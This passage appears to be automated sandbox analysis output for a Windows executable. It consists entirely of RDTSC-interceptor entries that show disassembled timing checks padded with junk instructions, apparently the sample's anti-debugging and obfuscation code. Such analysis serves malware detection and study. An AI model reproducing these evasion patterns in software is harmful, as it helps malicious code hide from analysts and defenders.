Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9CE435 second address: 9CE45A instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA6C4EBA08Bh 0x00000008 jmp 00007FA6C4EBA085h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9D18C3 second address: 9D18D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jg 00007FA6C4CAD50Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9CE45A second address: 9CE468 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FA6C4EBA076h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9D18D0 second address: 9D18EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA6C4CAD513h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9D2829 second address: 9D28D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4EBA085h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a nop 0x0000000b xor dword ptr [ebp+122D3596h], edx 0x00000011 push dword ptr fs:[00000000h] 0x00000018 jmp 00007FA6C4EBA080h 0x0000001d add dword ptr [ebp+12486736h], esi 0x00000023 mov dword ptr fs:[00000000h], esp 0x0000002a push 00000000h 0x0000002c push edi 0x0000002d call 00007FA6C4EBA078h 0x00000032 pop edi 0x00000033 mov dword ptr [esp+04h], edi 0x00000037 add dword ptr [esp+04h], 0000001Ch 0x0000003f inc edi 0x00000040 push edi 0x00000041 ret 0x00000042 pop edi 0x00000043 ret 0x00000044 mov eax, dword ptr [ebp+122D0289h] 0x0000004a xor bh, FFFFFFD5h 0x0000004d push FFFFFFFFh 0x0000004f push 00000000h 0x00000051 push ebx 0x00000052 call 00007FA6C4EBA078h 0x00000057 pop ebx 0x00000058 mov dword ptr [esp+04h], ebx 0x0000005c add dword ptr [esp+04h], 00000019h 0x00000064 inc ebx 0x00000065 push ebx 0x00000066 ret 0x00000067 pop ebx 0x00000068 ret 0x00000069 nop 0x0000006a push ecx 0x0000006b ja 00007FA6C4EBA07Ch 0x00000071 pop ecx 0x00000072 push eax 0x00000073 push eax 0x00000074 push edx 0x00000075 jnl 00007FA6C4EBA078h 0x0000007b rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9D18EB second address: 9D18F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FA6C4CAD506h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9D387A second address: 9D389F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FA6C4EBA087h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9D45A2 second address: 9D45A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9D389F second address: 9D38A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9D38A6 second address: 9D38AB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9D47F2 second address: 9D47F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9D5706 second address: 9D570A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9D570A second address: 9D570E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9D570E second address: 9D5714 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9D5714 second address: 9D578D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4EBA07Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b jne 00007FA6C4EBA078h 0x00000011 pop esi 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007FA6C4EBA078h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 00000017h 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D1BCAh], edi 0x00000033 push dword ptr fs:[00000000h] 0x0000003a mov ebx, eax 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 movzx edi, dx 0x00000046 mov eax, dword ptr [ebp+122D09CDh] 0x0000004c movsx edi, di 0x0000004f mov bx, si 0x00000052 push FFFFFFFFh 0x00000054 sub dword ptr [ebp+124652BFh], eax 0x0000005a nop 0x0000005b jmp 00007FA6C4EBA07Ah 0x00000060 push eax 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9D776C second address: 9D7770 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9D7770 second address: 9D777B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9D777B second address: 9D77F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edx 0x0000000a call 00007FA6C4CAD508h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], edx 0x00000014 add dword ptr [esp+04h], 00000015h 0x0000001c inc edx 0x0000001d push edx 0x0000001e ret 0x0000001f pop edx 0x00000020 ret 0x00000021 mov ebx, dword ptr [ebp+122D1943h] 0x00000027 push 00000000h 0x00000029 jmp 00007FA6C4CAD516h 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push edi 0x00000033 call 00007FA6C4CAD508h 0x00000038 pop edi 0x00000039 mov dword ptr [esp+04h], edi 0x0000003d add dword ptr [esp+04h], 00000014h 0x00000045 inc edi 0x00000046 push edi 0x00000047 ret 0x00000048 pop edi 0x00000049 ret 0x0000004a xchg eax, esi 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007FA6C4CAD516h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9D8794 second address: 9D879A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9D879A second address: 9D87E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4CAD516h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jbe 00007FA6C4CAD51Ch 0x00000011 jmp 00007FA6C4CAD516h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FA6C4CAD50Eh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9D9721 second address: 9D97A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FA6C4EBA081h 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007FA6C4EBA078h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 xor ebx, 6BD9FDC7h 0x0000002e push 00000000h 0x00000030 mov edi, dword ptr [ebp+122D1C0Eh] 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ebx 0x0000003b call 00007FA6C4EBA078h 0x00000040 pop ebx 0x00000041 mov dword ptr [esp+04h], ebx 0x00000045 add dword ptr [esp+04h], 0000001Bh 0x0000004d inc ebx 0x0000004e push ebx 0x0000004f ret 0x00000050 pop ebx 0x00000051 ret 0x00000052 mov edi, dword ptr [ebp+122D380Bh] 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b js 00007FA6C4EBA078h 0x00000061 pushad 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9D97A2 second address: 9D97AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FA6C4CAD506h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9DB680 second address: 9DB6EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 mov ebx, 2A6B7854h 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007FA6C4EBA078h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push edx 0x0000002e call 00007FA6C4EBA078h 0x00000033 pop edx 0x00000034 mov dword ptr [esp+04h], edx 0x00000038 add dword ptr [esp+04h], 0000001Ah 0x00000040 inc edx 0x00000041 push edx 0x00000042 ret 0x00000043 pop edx 0x00000044 ret 0x00000045 xor ebx, dword ptr [ebp+122D3757h] 0x0000004b xchg eax, esi 0x0000004c pushad 0x0000004d jmp 00007FA6C4EBA07Dh 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9DB6EE second address: 9DB715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6C4CAD512h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FA6C4CAD50Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9DB895 second address: 9DB899 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9DB899 second address: 9DB89F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9DC936 second address: 9DC93B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9DC93B second address: 9DC940 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9DF570 second address: 9DF574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9DF574 second address: 9DF58B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4CAD513h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9E4757 second address: 9E475B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9E475B second address: 9E475F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9E475F second address: 9E4765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9E4765 second address: 9E476A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 987167 second address: 987177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 ja 00007FA6C4EBA076h 0x0000000c pop ebx 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 987177 second address: 98719D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FA6C4CAD519h 0x0000000c jc 00007FA6C4CAD506h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9E855A second address: 9E856F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA6C4EBA07Bh 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9E856F second address: 9E8591 instructions: 0x00000000 rdtsc 0x00000002 js 00007FA6C4CAD506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop esi 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 pop ecx 0x00000015 jmp 00007FA6C4CAD50Dh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9E8591 second address: 9E859D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 ja 00007FA6C4EBA076h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9E859D second address: 9E85A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9E871C second address: 9E8726 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9E8726 second address: 9E8738 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6C4CAD50Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9E8738 second address: 9E873C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9E873C second address: 9E8742 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 982307 second address: 98230D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 98230D second address: 982325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FA6C4CAD50Dh 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 982325 second address: 98232F instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA6C4EBA076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9F16A5 second address: 9F16A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9F16A9 second address: 9F1706 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FA6C4EBA082h 0x0000000e jmp 00007FA6C4EBA080h 0x00000013 popad 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 pushad 0x00000019 jmp 00007FA6C4EBA089h 0x0000001e jbe 00007FA6C4EBA07Ch 0x00000024 jns 00007FA6C4EBA076h 0x0000002a popad 0x0000002b mov eax, dword ptr [eax] 0x0000002d pushad 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9F1706 second address: 9F173C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6C4CAD515h 0x00000009 popad 0x0000000a push edi 0x0000000b ja 00007FA6C4CAD506h 0x00000011 pop edi 0x00000012 popad 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 pushad 0x00000018 jmp 00007FA6C4CAD50Bh 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 98C277 second address: 98C284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007FA6C4EBA076h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 98C284 second address: 98C28A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9F52E2 second address: 9F52E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9F52E6 second address: 9F5318 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FA6C4CAD50Ah 0x00000010 popad 0x00000011 pop ecx 0x00000012 pushad 0x00000013 push eax 0x00000014 jmp 00007FA6C4CAD50Fh 0x00000019 pop eax 0x0000001a push ecx 0x0000001b jnc 00007FA6C4CAD506h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9F5318 second address: 9F534C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FA6C4EBA089h 0x0000000c jmp 00007FA6C4EBA084h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9F58D5 second address: 9F58E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9F5DDC second address: 9F5DE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9F5F57 second address: 9F5F6D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA6C4CAD506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FA6C4CAD50Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9F6101 second address: 9F610E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jne 00007FA6C4EBA082h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9F610E second address: 9F6122 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FA6C4CAD506h 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e jo 00007FA6C4CAD506h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9F625A second address: 9F625E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9F625E second address: 9F6271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6C4CAD50Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9F6271 second address: 9F6281 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FA6C4EBA07Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9F63C7 second address: 9F63E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4CAD519h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FEDDD second address: 9FEE11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4EBA088h 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007FA6C4EBA076h 0x0000000f jmp 00007FA6C4EBA082h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FEE11 second address: 9FEE39 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA6C4CAD506h 0x00000008 jmp 00007FA6C4CAD513h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jnc 00007FA6C4CAD512h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FEE39 second address: 9FEE3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FEE3F second address: 9FEE46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FDB0C second address: 9FDB10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FDB10 second address: 9FDB3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b jmp 00007FA6C4CAD510h 0x00000010 push esi 0x00000011 pop esi 0x00000012 jmp 00007FA6C4CAD50Eh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FDB3C second address: 9FDB46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FA6C4EBA076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FDB46 second address: 9FDB5A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA6C4CAD506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FDB5A second address: 9FDB60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FDB60 second address: 9FDB6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007FA6C4CAD506h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FDB6F second address: 9FDB73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FDB73 second address: 9FDB96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4CAD50Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FA6C4CAD510h 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FDCFC second address: 9FDD17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6C4EBA07Dh 0x00000009 popad 0x0000000a jne 00007FA6C4EBA07Eh 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
